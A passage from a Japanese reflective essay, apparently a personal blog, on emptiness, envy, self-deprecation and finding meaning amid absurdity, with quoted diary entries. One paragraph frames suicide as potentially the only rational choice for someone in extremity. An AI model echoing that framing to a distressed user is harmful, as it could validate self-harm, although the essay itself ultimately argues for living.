そして、変わるということは、何かを成し遂げるための目的ではなく、日々のプロセスそのものです。 何かが急激に変わるわけではなく、小さな選択の積み重ねの先に、気づけば景色が違って見えるような緩やかな遷移です。 だからこそ、自分を乗りこなすということは、変化することを目指すのではなく、変わり続ける勇気を持ち続けることに他なりません。


豊かさの中に生まれる空虚感

空虚感は捉えどころがなく、手応えのない感情です。 何もないというより、何かあっても、それに意味があるとは感じられないという感覚にあります。

何かが足りない・満たされないという漠然とした思いは、いったいどこから来るのでしょうか。 なぜ満たされるほどに、満たされなさが際立ってしまうのでしょうか。

この問題は、物質で満たされるものではないし、承認や賞賛でも補いきれません。 存在と世界とのつながり、つまり「生きていて意味がある」と感じられるような瞬間や関係性の中にしか、満たされる感覚は生まれないのかもしれません。

豊かさという枠組みの中に、逆説的に存在の置き去りがありました。

身内が結婚しようが,研究で打ちひしがれようが,仕事で疲弊しようが,誰かに手を差し伸べようが,俺の人生やこの世界は一切変わらない.俺が何かしたって何も世界は変わっていかないのに,どうして苦しい中生きる必要があるというのだろう.あらゆる感情の先に諦めが来ていて,この世の中のすべてが無意味に思えてくる.何もカッコつけたい意図はなく,自分の存在自体が無力なんだから,あらゆることにそんなことをしても意味が無いじゃないかと純粋な眼差しで捉えてしまう.何も感情が湧いてこないくせに,不安に代表される辛い感情だけは一丁前に感じる.ひたすら毎日何かに追われ,衣食住も満たされているはずだが,空虚感だけが漂っている.この手ごたえの無さはなんだんだ. 実家に帰って親に会ってみると,親は今日の出来事を楽しそうに話す.それが不思議でならなくて,適当な相槌をしてしまう.一日の出来事のうち,ネタにできそうなことであればメモを取るようになったが,別に話す必要のないことだと切り捨てるものがほとんどである.すべてが無意味だと思うと,こちらから話すことは本当に無い.空虚感とは無縁に思える人たちがいるのが不思議に感じるのだ. 一度覗き込んでしまった実存的な問題を見なかったことにして,無視することはできない.だから,「考えすぎだよ」という意見を受け入れることは難しい.休養や対症療法では何も改善しないことは察せてきた.空虚感の問題を真に解決するには,やはりこの問題にしっかりと向き合って空虚感の正体を突き止めることしかないのかもしれない.生きるなら,その選択肢しか残っていないんだ.苦しいなぁ.この苦しみの課題に,どう運命を見出せばいいんだろう.(2024年7月14日(日)日報)

不幸せの原因

自分はなぜ不幸を感じるのでしょうか。

その問いに向き合うときに、私の内側には、いくつかの根深い感情や思考の癖が浮かび上がります。 それらは単に一時的な気分の問題ではなく、私の生き方や感じ方に長く影を落としてきたものです。

ここでは、自分が感じてしまう不幸の背景にある要因を整理して、それぞれがどのように心を蝕むのかを見つめなおしてみます。

他者との比較による相対的な不足感

私は、社会の中で自分の位置を把握するとき、どうしても他人と比べるという基準を使ってしまいます。

自分の存在価値が他人に依存すると、「他の人はできていて、自分はできていない」というような苦しみが与えれます。 特に現代では、SNSによって他者のハイライトが視界に飛び込んでくるので、比較がより過酷で、過剰になります。 しかもその比較は無限に続き、どこまで行っても満たされないという構造を生んでしまいます。

最近はよく大学の喫煙所で休憩しています。風当りがよくて、いい感じに腰を掛けられるところがあって、ぽかぽかした日陰で、一人でぼーっとエナドリ片手にツイッターとインスタを眺めてみんな楽しそうだなと空しくインターネット越しに傍観するのは悪くない。副流煙はあまり吸いたくないので誰かが来たら休憩を終えて研究室に戻るようにしているけど、タバコを吸いに来るおじさんたちは大抵この世界に絶望したような疲れ切った表情をしていてとてもいい。タバコは周りへの影響がデカすぎるから(人に迷惑かけることだけはしたくないので)吸わないようにしているけど自分みたいな人間は一度覚えてしまうともう抜け出せない気がするので手を出さないように耐えてる。心の拠り所としてこれをしたら確実に落ち着くというものがあるのは正直羨ましく思っています。(2023年8月7日(月)日報)

自己否定的な感情に根差した内面的な満たされなさ

満たされなさは、外的な欠乏というより、むしろ内的な構造に根差した感覚です。 満たされたいと願っているのは自分自身のはずなのに、その自分を信じることができず、自分の価値を感じられない状態に陥っています。

何をしても意味がないという無力感と同時に、自分には何かを為す価値があるはずだと願う声も、裏腹に存在しています。

自己否定が心の奥深くに根を張ると、自分の価値を受け取る器そのものが傷ついてしまいます。 何かを成し遂げても、誰かに褒められても、それが自分の中に真っ直ぐ届かず、まるで心の箱に小さな穴が開いていて受け取ったものがそのまま漏れていくような感覚に襲われます。

自嘲的なユーモア

自嘲とは、自己を笑いの対象とすることです。 これは一見、他人の嘲りを先回りして引き受ける軽やかな振舞いですが、ここで起こる笑いには自己否定という棘を含み、無意識のうちに自分の存在価値を削っていくことにもつながりかねません。

ピエロになったつもりで自嘲していても、実はユーモアで包まれた仮面の中には本音としての痛みが含まれています。 深刻になり過ぎたら壊れてしまうから、ふざけた表現で傷の輪郭を曖昧にして、痛みの核心に触れないように笑いで蓋をするこの行為は、他者との共有を装い孤独を際立たせる自己表現です。

誰かに笑ってもらえたとしても、まったく癒されないというのに、そうでもしなければ耐えられない瞬間があって、そのときに選ばれた言葉や態度が、たまたまユーモアだったというのが、自嘲の始まりなのかもしれません。

お前今日何したんだよ。俺はよ、高校時代仲良くしてた昨年入籍したあのどうしようもない人間だったはずの同級生がよ、インスタで赤ちゃん生まれました投稿していて心がぽっかりと空いてしまってよ、相変わらずおめでとう以上に謎の衝撃が来ているんだ。絵文字使っているところなんか見たことないのにその投稿には :angel: :baby_bottle: :sunny: :hatching_chick: が使われててよ、なんだなんだと動揺している自分が居るんだ。でも逆に良かったと思ってる。こうしてまた日記でネタにできるからな。 そんな俺はよ、お金に興味ないくせに働いてばっかりだ。給料が振り込まれても、真顔だ。特に欲しい物もないし外食もしないからよ、扶養を超えて稼いでいるのに貯金が溜まる一方だ。 俺はバレンタインだっつって買ったイチゴの板チョコを貪りながら、今日もパソコンの前に鎮座している。お前らが俺のことを感情の無いモンスターと呼ぶからだぞ。アイツには最高なプレゼントを贈ってやろうと思ってる。お前の人生の進捗はどうだ?毎日辛いけど俺も頑張るからよ、お前らも頑張れよ。(2024年2月15日(木)日報)

また、自嘲は助けを求める機会を奪ってしまいます。 深刻さを笑いに変えることで、自ら真剣に扱ってもらう権利を放棄してしまいます。

たとえ笑いという形式であっても、繰り返された言葉には力があります。 ユーモアの名のもとに、自己否定を何度も反復するうちに、心の奥にある自尊心が静かに削がれていきます。

お前今日何したんだよ。俺はよ、高校時代仲良くしてた、昨年度入籍・出産したあのどうしようもない人間だったはずの同級生がよ、インスタでマイホーム建てたとの投稿をしていて相変わらずおめでとう以上に謎の衝撃が来ているんだ。立派すぎる新築と家族3人での温かい写真に幸せが溢れていて目が眩んだんだ。 片や俺は1Kの賃貸で今日も1人胡坐をかきながらこの話をまたネタにしようとウッキウキでこの日記を書いている。スマホの写真アルバムを見返せば、ご飯や風景の写真ばかりで、人間が映っている写真は少ない。内カメで写真を撮る機会が少なすぎるからだ。 どうしようもない人間だと決めつけていたはずの彼は、齢25にして家族だけでなく遂にマイホームを持つようになってわかりやすく立派だ。自分が取り残されているかのように感じるが仕方ないだろこんな生き方しかできないんだから、という風な流れでこの日記をニヤニヤしながら書いていたが、いつまで俺は俺を虐して、まるで悲劇の主人公であるかのように被害者ぶる振る舞いを続けているんだ? 結局俺は、自分を恥ずかしい人間なんだと決めつけて、すべてを諦めることであの頃の俺はしょうがなかったんだと自分を慰められる落としどころとして選んでしまいがちだけど、もう幸せになろうとしていいはずなんだよな。お前の人生の進捗はどうだ?インターネットのお陰で俺たちは離れていても繋がっていられるからよ、俺も頑張るからお前らも安心して頑張れよ。(2024年6月11日(火)日報)

自身の存在意義や将来への漠然とした不安

存在意義は、厄介な存在です。

「人生には明確な目標が必要だ」「ナニモノかになれなければならない」という社会的な語りの下では、明確なビジョンを描けていないという状態自体が、まるで失敗や怠慢のように感じられてしまいます。

また、社会の中で求められる“役割”や“成果”という基準が、いつの間にか自分の存在価値の物差しになってしまい、"ナニモノでもない自分"に対する焦燥感や無力感を育ててしまいます。 その結果、自分の人生に意味があるのかどうか、自分という存在がどこに位置づけられているのかがわからなくなっていきます。

自分自身の存在の意味や将来の展望を持てないことが、そのまま存在の否定に結びついてしまうと、自分の足元を見失ってしまいます。 どこにも向かえていないという感覚が、自分の現在を空虚にし、未来を重く不透明なものにしてしまいます。

いろんな選択肢や可能性があるように見えて,悩めば悩むほど自分のしたいことがよくわからなくなって,どれもがぼやけて見える.僕は技術や研究が好きだと大きな声で言えないし,流れの激しい戦場で戦って生きていくことはもう辛い.不器用だからやったことないことは大抵うまくいかないし,何かを選択するということ自体が怖い.何をするにも怖くて,今何をしたいのかよくわからず未来を想像できずに時間だけが過ぎて,八方塞がりになっている自分が不正解みたいで社会に取り残されていく感覚がある.そんなことはないらしいんだけどさ.(2024年4月25日(木)日報)

人生の勢いと強迫観念

本来、努力は前に進むための行為のはずなのに、その動機が「自分には何もないから」となった時点で、その努力には終わりも安心も無くなってしまいます。 しかもその強迫観念は、自分自身の声で繰り返され、次第に「走ることでしか自分の存在価値を証明できない」状態になっていってしまいます。

気づけば、私は立ち止まることに罪悪感を覚えるようになりました。 だから、人生の勢いに任せることで思考を凍らせてきたのかもしれません。

強迫観念も、本来は自分自身への要求のつもりでした。 「お前はナニモノにもなれていない」といった声は、確かに自分の中から生まれたものであり、一見すると自律的な内省のように思えます。

しかし実際には、その声の語り口は、他者や社会から無意識に受け取った価値観に根差しています。 つまり、自分に向けているようでいて、その実態は他者の視線を内面化したものであり、他者と比較した自分を裁くものです。

このとき、脅迫観念は、自己との対話ではなく、他人の尺度を借りた自分への攻撃とすり替わっています。

そして、この相対的な視座が、劣等感を生み出します。 自己に向けた要求が、他者との比較によって価値を測るようになったとき、強迫観念が劣等感に変わります。

人生の勢いを失うこと、飢えることが減ったような、脅迫観念が薄れたようなことというのは、当事者からすると苦しみから少しは解放されているのでこの変化に対してまず一つ喜びたい事象ではある。幸せを不幸な状態でないことと定義するならば、このような状態も一つの幸せと見なせるかもしれない。 だが勢いが衰えていくことが、自分をうまく乗りこなしていると言えるかは別問題である。単に心の痛覚が麻痺してしまっていることをいわゆる成長や成熟と表現してしまっている気がする。これはある意味で自分を欺いている可能性もある。要は一時的にストレスを感じにくくする防衛機制が発達したようなもので、自分はどこまで今ある感情や状況を正面から理解して受け入れようとしているのだろうか。 心の痛覚の麻痺が無いままに人生の勢いを保つことは、正直あまり想像できない。自身の変化をどう評価するかは、自分自身との対話にかかっているのだろうか。まぁ今の僕は、物憂げな梅雨の雨に打たれながら今日もダメな1日だったとトボトボと俯いて帰るくらいがちょうどいい。(2024年7月10日(水)日報)

劣等感の先鋭化

自分と他者を比べると、どうしても自分に足りない部分にばかり目につき、結果として自分自身に厳しくなってしまいます。 また、どこかで他者より優れていたいという願望が意識的・無意識的に働いている場合もあります。

自分に自信が持てず、自己肯定感が低いからこそ、他者の粗を探し、他者と比べることで自分に特異な優越性を求める防衛的な心理が働いていました。 本当に最低ですが、自分が無価値な存在であると悟ってしまうのが怖いのです。

しかし、こうした過剰な比較は逆効果で、理想と現実とのギャップを強調してしまい、結果として劣等感が強まってしまいます 。 人生の勢いがあったうちは劣等感を原動力に焦りや義務感で走ることができていたように見えますが、それは貯金の前借りのようなものでした。 ずっと続くことはなく、ふと立ち止まったときに心が空っぽであることに気づきます。

勢いに頼った生き方は、自分の内なる声を無視した生き方でもあります。 だからある日、自分を破壊してしまうような疲労感や虚無感にぶつかってしまいます。

ずっと自分を後回しにしてきてしまったから、自分を大事にするということに対して、どこかで甘えなんじゃないかというような拭い切れない葛藤が生まれてしまいます。 これはまさしく、「走ることでしか自分の存在価値を証明できない」からぶつかった壁だと思います。

この問題の根本には、「成功していたら、」「誰かより優れていたら、」というような条件付きの自己肯定があり、この小さな枠組みの中に、自分を閉じ込めてしまっていました。

今日はやけに群青が響いてぼーっとしてた。 怖いものはやっぱり怖いよ。いくらコンピュータ技術は信じたいといっても、バケモンばかりがいるこの世界で流れの激しい戦場で戦って生き続けることが自分にとっていい未来なのかよくわからなくなってしまった。しかし今の自分に無理のない選択を取ることはそれはそれで勇気が無くて難しい。もうネガティブな感情を原動力に頑張ることは卒業したいんだよな。(2023年7月31日(月)日報)

コペルニクス的転回

私はこれまで自分の不幸や失敗に固執して、その原因を突き詰めようと自分がいかに不幸であるのかと理論武装してきました。 過去の自分を救いたいというような慈しみの気持ちが、深いところで息をしていたからだと思います。 自己過剰観察により、不幸の意味や理由を求めることで、"あの頃"の痛みが報われて欲しかったり、今の自分の苦しさに正当性を与えようとしたりしていました。 しかしそこに拘っても救いは生まれませんし、かえって自分を縛っていたと感じます。

不幸を語るということは、自分を理解する手がかりになる一方で、"居場所"にもなり得ます。 これが続くと、いつしかその痛み自体が自分のアイデンティティの一部になってしまいます。

自分がいかにダメかを説明できる理由が過去にあったとしても、そこに留まり続ける限り、変われないままです。 私に必要だったものは、不幸を手放そうとする発想でした。

本当に自分を癒してくれるのは、不幸の外側にある今この瞬間の心の在り方にあると感じます。 過去は変えられないかもしれませんが、私を変えられるのは今この瞬間だけです。 今この瞬間の自分にできることをすることだけが、絶望の中に差し込む最も確かな希望になるのだと思います。

未来の明るさは異常

生きているとつい、未来には何にも期待できないと思い込んでしまう瞬間があり、そこで生きる意味や希望を見出そうとしても「だからと言ってさぁ」とすべてが無意味に思えて絶望してしまうこともありますが、だからと言ってなんですよね。

実際には、社会は善意や思いやり、小さな優しさで支えられている側面も確かにあって、人知れず行われている温かい出来事や、誰かが誰かのために尽くしている日常がたくさん積み重なっています。

未来は、不確かで予測できないものですが、今この瞬間に感じられる温かさや喜びは、確かな現実として存在しています。 心のどこかで生きててよかったと思える瞬間が訪れるかもしれないという可能性を信じていたいです。

極めて個人的な決着

結局のところの私がやるべきことを並べます。

  • 目の前の小さな幸せや優しさを大切にして、今できることに焦点を当てること
  • 過去に固執せずに、経験として受け止めながら、無理なく生きる意思を保ち続けること
  • 信頼できる人たちとの関係を大切にして、内省や対話を通じて自分の問いに向き合い続けること

これらは誰にも共感されないかもしれない問いかもしれませんが、私にとっては切実で、本気で向き合っているものであるので、これらは乗り越えるに値する問いであり、生きるに値する問いです。


不条理の先にあるもの、残酷さへの向き合い方

この世界は時に残酷で、苦しいニュースや悪意に満ちた出来事で溢れていて、どうしようもないと感じることがあります。 そんな中であらゆることに「意味がない」と感じてしまうのは、ある意味当然の感覚です。

抗えない現実や、理解不能な出来事に直面したときに、何を拠り所にすればよいのでしょうか。 不条理に対する向き合い方やそこに潜む救いについて、今の自分なりの答えを綴ってみたいと思います。

意味を求めることの虚無感

自分の生を単なる時間の連なりではなく、「意味あるものとして生きたい」と、どこかで強く願う一方で、現実は思い通りにいかないし、むしろ意味なんてないと突き付けてくるようなことはたくさんあります。

そんな苦しい世界でなぜ生きていく必要があるのでしょうか。

この生きる意味を求めれば求めるほど、虚無感に襲われ、見つからないということに絶望する感覚があります。 逆に、意味を全く求めなければ、今度は生きているという実感さえもぼやけてしまいます。 このどちらにでも寄り切れない不安定さに苦しめられます。

人生の先輩方はよく、サイコロを振って出た目を受け入れることについて語ってくれる。これは、サイコロの出た目を正解にする努力の話で、荒波に飲まれながらもなんとか溺れないようにするアドバイスである。なぜこのようなアドバイスばかりであるかと言えば、どの目が出ても結局のところ荒波が待ち受けているからである。サイコロを振る前の時点では、どの目がよさそうであるか、どの目が出るであろうかを吟味してもあまり意味がないことを知っているからである。会社に入っても希望する仕事ができるとは限らなくて、良き上司に巡り合うとは限らなくて、何もわからないまま社会の荒波に放り出され続けることを伝えられても、はっきり言って、僕はそんな不条理に満ちた社会に希望は持てないよ。海の底に沈んだ微かな希望でいいから、それでも生きていくことの絶対的な良さを教えて欲しい。わかりやすい絶望を突きつけられても、サイコロを振るという行為が怖くなるだけだよ。 思えば人生で選べることってほとんどなかったよな。その時の環境や状況、人間関係によって決まっていくものがほとんどで、どうにもならなかった。自分の人格すらも、選択したのではなく、環境により与えられたものとして形成されていったような気がする。 人生の中で選べることってほとんどなかったけど、その中でも選べたことは時々あるはずなんだ。小さな選択でも選べることがあるということを信じないといけない。サイコロを振ることしかできないし、サイコロの出目はすべて荒波と既に決まっているのかもしれない。けれど、サイコロを振るという行為、それだけは自分で選択できる。そう思いたい。(2024年11月4日(月)日報)

合理性を越えた価値を探す

生きているこの世界そのものに客観的な意味が存在しないという現実に直面すると、自分が無力に思えてしまいます。 しかし、この虚無感は同時に、私が意味のある生を送りたいと願うものでもあります。 世界に内在する無意味さと人生が意味を求める欲望が衝突することで、不条理が生まれます。

合理性だけで世界を捉えると、生きる理由を見出すことは困難です。

究極の問いとして「自殺するべきか否か」が浮かぶこともありますが、自殺は不条理に対する1つの解決策であり、推論の末に合理的な結論として見えてしまうことも事実です。 極限まで追い込まれた人にとっては、自殺が唯一の合理的な選択肢になり得るのも十分に理解できます。 そのような状況にある人に「生きていてほしい」とただ伝えることは、相手の苦しみを軽視しているかのように感じられるかもしれません。 生に意味があるのかという問いに対して、すぐに明確な答えが出るわけではなく、言葉だけで救えるものでもありません。

一方で、人生のすべてを合理的に説明することはできないこともまた事実です。 不条理な世界の中で、合理的な結論では得られないような、小さな喜びや感動、他者とのかかわりの中で生まれてくる価値もきっとあるはずです。

漠然とした"世界"を相手にしたところで、こちらがいくら願っても思うようには変わってくれません。 意味のある人生や絶対的な希望は、どこか遠くにあるので、探そうとしたところで見つからないという現実に絶望してしまいます。 でも、日常を彩る些細な喜びに目を向けて、自分がしたことで目の前の誰かが笑ってくれたり、自分の存在が誰かの心を少しだけ軽くしたりするような出来事が、自分の人生に確かな意味をもたらしてくれるのだと信じています。

だからこそ、自分の目でちゃんと見て、自分の心でちゃんと感じて、「これが嬉しかった」「この瞬間は確かにあった」と実感できる出来事を、1つでも大切にしていきたいです。 意味の欠如に苦しむ中で、それでも生きる選択をする行為が、やがて自分の生き方を形作るのかもしれません。

問い続けることを受け入れる

残念ながら今の私は、「生きる」ということを強く意識しておかないとすぐ生を見失ってしまいます。 そして、この「意識する」という行為は、大抵の場合、問いを伴います。

完全な答えが得られることは稀で、常に新しい疑念が生まれ、無視できない問いに囲まれてしまいます。 しかし、私にとって「生きる」とは意識的に行うものです。 だからこそ、日々の小さな出来事の中で、自分にとって意味のある瞬間を探し、生きているという実感を少しずつ積み重ねていくことが大切だと思います。

過去との折り合いは、忘れ去ることや帳消しにすることではなく、過去の出来事をどう問いなおし、今の自分に位置づけなおすかというプロセスです。 この作業は、一度で完結するものではなく、何度も揺れながらも問い続ける中で、少しずつ形を変えていくものだと感じています。

出来事やそこから生じた傷は変わりませんが、それをどう捉えるかは時間や環境の変化によって変えられます。 例えば、過去に傷ついた経験が、当時はただの痛みだったとしても、時間が経って振り返ると「この経験があったからこそ、自分はこういう考え方ができるようになった」「この苦しみを知ったから、他者の痛みを理解できるようになった」といった形で、意味を変えていくことができます。

もちろん、無理に"良い"意味に変える必要はありません。 つい過去の苦しみを「意味のある経験だった」として肯定しがちですが、本人がそれを「無駄だった」と感じるなら、その感覚を否定せず、受け入れることも同じくらい大切です。 過去をどう捉えるかは、その人自身の解釈に委ねられるべきであり、それを他者が美化して押し付けることは、ある種の不誠実さを含みます。 「無駄だった」と感じる時間や経験があったとしても、それを認められる社会があることで、人々は無理に過去をポジティブに捉え直さなくても良くなり、その分、本当の自分の気持ちに正直に生きられるのではないでしょうか。 美化が必ずしも救いになるとは限りませんし、苦しい過去をそのまま「そうだった」と受け入れる自由がある社会こそ、いわゆる多様性が実現する場所だと思います。 あくまで、「過去をどう位置付けるかは、今の自分が決められる」という考え方が、時に心の支えになるということです。

また、環境や状況の変化が、新しい視点をもたらすこともあります。 同じ出来事を違う角度から見ることで、それまでとは異なる解釈が生まれることもあります。

こうした変化を受け入れながら、「今の自分にとって、この出来事はどういう意味を持つのか?」と問い続けていくことが、前に進む手がかりになり、そのプロセスが自分を形作っていくのだと信じています。

2024年度SecHack365のラストワークを見届け、残すは成果発表会となりました。今年度も無事に終えることができるようになりそうで、安堵しています。3年間当たり前のようにあったSecHack365もいよいよ卒業なんだなぁと思うと、静かに胸に去来するものがあります。今年度、僕はアシスタントとして、他者に寄り添うことを強く意識して過ごしていました。それは自分が解決できることは何もないかもしれないけど、時間だけはあるから他者に寄り添うことだけはできると昨年度の経験から自負していました。 しかし誰かに寄り添おうとするとき、ついつい日の当たる場所で大きな声を出しているほうにばかり目が行ってしまいます。でも、本当に助けが必要なときは、いつだって静かで、目立たない場所にいるものです。自分は果たして日陰で佇んでいる人にもちゃんと目を向けられていたのでしょうか。昨年度に比べたら意識するようになったとは思いますが、全員に対してその態度を取れていた自覚はなく、ゼロイチで議論するならきっとゼロでしょう。 今この瞬間助けが必要な人は、疲れ切ってしまうと悲鳴の一つをあげる余力もありません。それどころか、追い詰められて、自暴自棄になった姿が、適切な援助を遠ざけてしまうかもしれません。でも、それを自己責任なんだと突き放してしまうのは、極めて残酷です。巡り巡って、未来の自分の首を絞めてしまうんじゃないかと、自分が突き放されてしまう側のことをつい想像してしまいます。だからこそ、自暴自棄な姿を目にしてしまっても、それを受け入れて接することができるようになりたいと思います。 助けを求める余裕すらない人に気づくには、まずは自分ができる範囲を見極め、自分自身に余裕を持つことが必要です。特に、細かい変化や小さなサインに気づくためには、観察する余裕が必要でしょう。これはその通りだと同意できますが、一方で余裕の確保のために見殺しにしてしまう場面も出ているような気もして、このトレードオフとどう向き合っていけばよいのか悩みます。おそらく重要なのは、すべてを救うことは不可能であっても、それは誠実さを失うわけではないと認識することです。自分が関われる範囲で、できる限りのことをした結果、助けを必要としていた人の一部にでも届いていたのなら、それは確かに価値のあることだったはずだと思えるようになりたいです。 また一つ、問い続けることを受け入れるしかないことが増えてしまったなぁ。(2025年2月25日(火)日報)

答えが見つからないという状態そのものを否定せず、「なぜ生きるのか」という問いに完全な答えを求めず、その問いを抱えながら生きるということを赦すことが、自分なりの不条理を受け入れる態度なんだと思います。

美意識を定める

世界に普遍的な意味がなかったとしても、自分にとって大切な価値や目標を見つけて、それを大切にすることが何よりも重要です。 たとえそれが他者にとって些細なものだったとしても、自分自身がそれに価値を感じられるのであれば、それで十分なのです。

このプロセスを支えるためには、美意識を定めることが有益です。 自分の価値観が明確になれば、たとえ世界がどれだけ不明瞭で不安定であっても、何を大切にするべきかがはっきりし、行動の指針になり得ます。

美意識を定めるというのは、単にセンスを磨いて美的感覚を養うという話ではなく、いったい自分はどういう瞬間に心が満たされるのかを自分自身の感覚で選び取るということです。 そしてその過程で、他人に自分の喜怒哀楽を握らせないようにしたり、今ここにいる自分自身を尊重してそこに湧き上がる喜びを大事にしたりすることで、ありのままの自分でいても揺るがない充実感や満足感の獲得につながります。

残酷さに目を向ける

自分の内面と向き合ってきたことで、価値観の核にしっかりと根を下ろしている考えに「苦しみを和らげたい」という願いがあります。 これは単なる理想論でも、無理な正義感でもなく、私自身の痛みや生きづらさを通して得た価値観です。

僕はただ、この世界の残酷さを少しだけ減らすことができれば、それで良いのだと思えてきた。 個々人の持つ痛みや苦しみ、特に自分だけ社会に取り残されていく感覚や苦しみの共有ができない状態から生じる残酷さにもう少しだけ目を向けられるような人間になりたい。目を向けたところで何も変わらないんだろうし、結局自分にできることなんてないんだろうけど、でもきっと、その姿勢が大事なんだと思う。 他者を想う気持ちの中に自分も救われたい感情が混ざってしまうから、自己中心的な考えでまた嫌気が差してしまうけど、目を向ける姿勢に自分を少しだけ赦せるきっかけがあってほしい。 ただ、残酷さは自分自身の外側にあるだけではなく、内側にもあることを忘れないようにしたい。(2024年12月9日(月)日報)

不条理とは、説明のつかない痛みや不幸、理不尽な出来事によって、問いかけても答えのない状態が続くことです。 その中で、「苦しみを和らげたい」と願う姿勢は、不条理な世界に対する1つの反抗であり、同時に、自分の人生に意味を与える行為になっています。

また、ここでいう"内側にある残酷さ"とは、他者に対する無関心です。 自分が当事者でない問題に対しては、どうしても距離を置きやすく、関心を持ち続けるにはエネルギーが要ります。

しかしその無関心は、時に自分でも気づかないうちに、冷淡さや傍観という形で現れ、気づいていたのに見て見ぬふりをするという選択を繰り返すことで、誰かの孤独や苦しみを深めてしまうような残酷さに加担してしまうこともあるように思います。

他者の痛みを完全に理解することは難しいです。 しかし、「これは自分には関係ない」と目を逸らすのではなく、当事者として受け止めようとする姿勢を持ち続けるという日々の小さな選択を積み重ねることが、私の内側にある残酷さに抗うことになると考えています。

プロジェクトマネジメントの基本の一つは”今誰がボールを持っているのかを常に意識すること”だと思うけど、なんか今日は時限爆弾をいかに相手に擦り付けるかゲームをしている自分がいた。う~ん、合理的なそれらしい理由をつけて自分は悪くないと保身に走ることはできるけど、たぶんよくない。なんだろう、自分の道理に反する。自分ひとりで解決できる問題じゃないから協力してくれる他者がいるというのに、これじゃあ協力の欠片もないというか、自分がまったく主体的じゃないというか、責任を持ちたくないから相手に擦り付ける傍観野郎になっていた。他力本願という言葉がよく似合います。そんな自分であると、自分に不都合なことが起こるとあたかもそれを分かっていたかのように言い訳するカスになってしまう。当事者意識をどうやったら持てるようになるかな、always 当事者意識を持てるように意識するところから始めます。(2023年10月2日(月)日報)

不条理に対する救いとして、私は絶対的な希望を見つけることはできませんでした。 しかし救いは外部から与えられるものではなく、心の中に積み重ねられるものであると気づくことができました。 日々の小さな実践から生まれる人間らしい温かさを大切にすることが、私にとっての不条理に対する救いの答えになっています。


"モヤモヤ"の言語化

日報を書き始めた当初は、ただ「やったこと」を記録するだけのもので、自分の感じていることや抱えている感情を、うまく言葉にできずにいました。 それでも書き続けるうちに、言葉が単なる記録ではなく、自分の内面と向き合うための道具であることに気づきます。

"モヤモヤ"としか言いようのない感情を言葉にしようとするたびに、私は自分がどんな言葉を選び、どのように表現しようとしているのかを少しずつ意識するようになっていきました。 日報に綴った言葉たちは、自分の考え方や価値観の変化を写す鏡のような存在になっていきます。

ここでは、そんな言葉の選び方や表現に意識を向けながら、私の中の問いや、何を大切にしていきたいと思っているのかを言葉を通じて振り返り、見つめなおしてみます。

表現という行為そのものが思索の重要な手段

考えは、文字を書くときや人と話をするときにしか、深まりません。 何かを感じたことがあれば書き留めておかないと、すぐに揮発してしまいます。 だから言葉にして表現するということは、モヤモヤとする曖昧な感情を明確にして、一つひとつの思索に輪郭を与えることができる思考を整理する重要な手段なのです。

やったこと以外に日記の欄を設けているのは、人は(主語デカ)文章を書いたときか、人に話したときしか考えは深まらないと考えているからです。それっぽいことを頭の中で考えていても、数分も経てばすぐに頭から消え去ってしまいます。だからその時書きたい口調で、その時書きたい文体で統一感をあまり意識せず書いています。でもなんとなく、僕の気づけない僕らしさがいろいろ滲み出ている気はしています。 日々生きていく中で毎日がハッピーであるということはまったくなく、辛いしんどい日々は平気で訪れます。そういった中でも希望を拾い上げてキラキラとした日記を書く、というのはあまりしていません。ありのまま感じたことを表現し続けています。僕の内面に触れる話もよく登場しています。正直裸を見られるような感じで、読まれるのに恥ずかしさがあります。もちろん、ネガティブな話題を見せられて嬉しい人なんて少ないだろうけど、着飾っても仕方ない気がするし、何より、自分に嘘をついているような気になる。生々しいからこそ、それに批判を受けるとうんと落ち込むので、インターネットの海に流すのではなく、クローズドなコミュニティに日報を投稿するようにしています。(2023年12月31日(日)日報)

また、表現は単なる思考の記録ではなく、思考そのものを促進する役割も果たします。 書きながら新しい発見をしたり、言葉を選ぶ過程で新たな視点が生まれたりすることもあります。

手を差し伸べている感覚そのものが烏滸がましい気がしている。自分にそんな力はないどころか、そもそも”助ける”だとか”手を差し伸べる”だとかいう表現自体が上から目線な気がして気にくわない。自分の行為が相手にとって余計なお節介になっていないかと考えてしまうと、そんな自分をまた赦せなくなってくる。この感覚はどうして起こるものなんだろうか。 無意識の完璧な善意への理想が存在してしまっているのは確かだが、他者との距離感の問題も抱えている気がする。相手の感情を理解するために、その感情に飲み込まれに行こうとしてしまう。共感の無い優しさなんて人を救うことなんてできないから、そうでないと当事者意識が薄れてしまうのではないかと怖くなるんだ。 自分が他者と関わるとき、その場で自分が果たすべき役割を意識しないといけない。手を差し伸べる行為が相手を救うための行為ではなく、今の自分ができる範囲の思いやりを形にしたと意味を問いなおす必要がある。 自分の心を護りながら、他者と繋がり続けるために、自分を赦す第一歩として、“助ける”という言葉を今後”寄り添う”という言葉に置き換えて表現してみることにする。(2024年12月10日(火))

言葉の持つ力

言葉は、発した瞬間に相手の心に届き、時にその人の考え方や気持ちに影響を与えるものです。だから、相手がどう受け止めるかを意識しながら言葉を紡ぐことができる人を尊敬しています。 言葉は単なる情報を伝達する手段ではなく、誰かに想いを手渡すものだからこそ、どんな言葉を選ぶのかが、その人の優しさや誠実さを映し出すと感じます。

ふたばとくんが当たり前だと思って取り組んでいることで周りをどれだけ救っていることか、とにかく自分のことを大切にして、自分を愛してあげてほしいと強く何度も言われた。 自分らしさや魅力というのは、意識的に探しても見つけづらい。周りの人たちとの関係や出来事の中で自然と現れてくる。そして、それに気づいて自分に伝えてくれるのは、本当に貴重で、愛の籠った瞬間である。 他人に自分の喜怒哀楽を握らせないようにして心を安定させるためには、ありのままの自分でいながら、自分が幸せだと感じられる瞬間を増やす必要がある。ありのままで幸せを感じられる自分でいるためには、自分の内側の声に耳を傾け、自分の幸せを自分で定義することが大切になる。 周りの人が自分に向けてくれている希望を素直に信じて、正面から受け取れるようになりたい。卑下は、時には自分を応援してくれる人たちの想いを否定してしまうことにつながりかねない。自分を支えてくれる人たちを大切にしたいという気持ちがあるなら、少しずつでも自己否定を減らしていくことが、その人たちへの感謝や愛情を表していくことになる。受け取るための第一歩は、周りの人からの言葉をありのままに受け止めることであろう。受け取ることで自分が大切にされているという事実を認めていきたい。 今日はお世話になった方にたくさんお会いできて、温かい気持ちになれた一日だった。温かさを共有できるこの巡り合わせを大切にしていきたい。でも日々の忙しさの中でこの感情はすぐに流れて忘れてしまう。今日のような「この瞬間のためにやってきた」と思える時間があったことを何度でも思い出せるようにしたい。また思い起こせるように、また自分に言い聞かせられるように、丁寧に書き起こしておかなければ。(2024年12月14日(土)日報)

より正しい言葉遣い

